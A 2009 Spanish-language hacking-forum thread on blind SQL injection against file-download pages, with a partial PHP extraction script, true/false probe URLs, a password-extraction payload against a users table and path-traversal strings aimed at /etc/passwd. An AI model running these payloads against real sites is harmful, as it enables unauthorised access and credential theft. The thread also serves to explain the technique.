Título: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: OzX en 6 Febrero 2009, 19:21 pm Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL. Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver. Web: Código: http://www.site.com/download.php?id=2 Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos. Citar http://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga] http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga] Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL. Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema. Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script. Citar <? $x=97; $substring = 0; $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1"; $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x; $var = strlen(file_get_contents($url,FALSE,NULL,0,1)); if ($var != 0){ echo "TRUE"; }else{ echo "FALSE"; } } ?> La parte en Rojo muestra cantidad maxima que recibira. Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero. Ya tenemos Nuestro Motor Casi Listo. Script Finalizado : Código: <?php Claramente Tienen que Cambiar la url, y la consulta que desean hacer. recibe 3 parametros de Entrada. Código: $start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor Saludos ˇ OzXˇ Fuente : http://foro.undersecurity.net/read.php?5,775,776 (http://foro.undersecurity.net/read.php?5,775,776) Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: Azielito en 6 Febrero 2009, 19:38 pm wow '_'
No se me habia ocurrido ese escenario para blind SQL injection ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros" bueno, al parecer pense casi en todo :¬¬ Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: Darioxhcx en 7 Febrero 2009, 20:53 pm en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo /../index.php ../../index.php /../../../etc/psswd interesante post OzX saludos Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: EvilGoblin en 7 Febrero 2009, 20:58 pm Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^
Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: OzX en 7 Febrero 2009, 23:24 pm wow '_' No se me habia ocurrido ese escenario para blind SQL injection ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros" bueno, al parecer pense casi en todo :¬¬ jejej coool. en #RE hay un post algo parecido solo que prueba si nos deja descargar x ejemplo /../index.php ../../index.php /../../../etc/psswd interesante post OzX saludos Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto. Saludosˇ Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^ jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o la nueva tecnica de obtenercion de informacion como load_file, pero con blind.Saludosˇ Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: berz3k en 10 Febrero 2009, 20:12 pm @OzX
Probando el script que haz enviado no me va, mi string manual es este: Código: http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=50 Var dentro del code quedo así (algo falta): Código: $url="http://1.1.1.1/blind.php?id=1+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x]; Ejecucion: Código: C:\>php -f blind-forzado.php -berz3k. Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: OzX en 10 Febrero 2009, 22:48 pm hi brota.
a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas. Código: header( 'Content-Disposition: attachment; filename="' . $name . '"'); donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor. el sistema que tiene para diferencir , si un valor es verdadero o falso, es. Código: $var = strlen(file_get_contents($url,FALSE,NULL,0,1)); Código: if ($var != 0){ nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar. Saludos brotaˇ :D ˇ Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: berz3k en 13 Febrero 2009, 19:40 pm Es verdad mi QUERY es un blind normal via GET + ASCII etc, mas no estoy utlizando la injection via "Content-Disposition:"
Código: HTTP/1.1 200 OK configurare algun ejemplo de descarga forzada en mi LAB, mmm pero para ello necesito un ejemplo real y así observare mejor los detalles OzX a) Estoy funcionara tanto para win32 como Linux? si no es así, sigamos con el HILO y posteando mas pruebas. b) Estoy mirando los archivos configs para Linux y win32 para crear un HEADER que force el CONTENT-DISPOSITION, OzX o si lo tenes ya ahorrarme el trabajo XD mandame un msg private please! -berz3k. Título: Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. Publicado por: OzX en 13 Febrero 2009, 20:20 pm Esta enfocado para linux , el server donde estaba mirando es linux. :rolleyes:
Nose si te refieres a esto Código: <? Te envie un Priv ˇ Saludosˇ Brotaˇ pd:nose si te llego el prvi me avisas |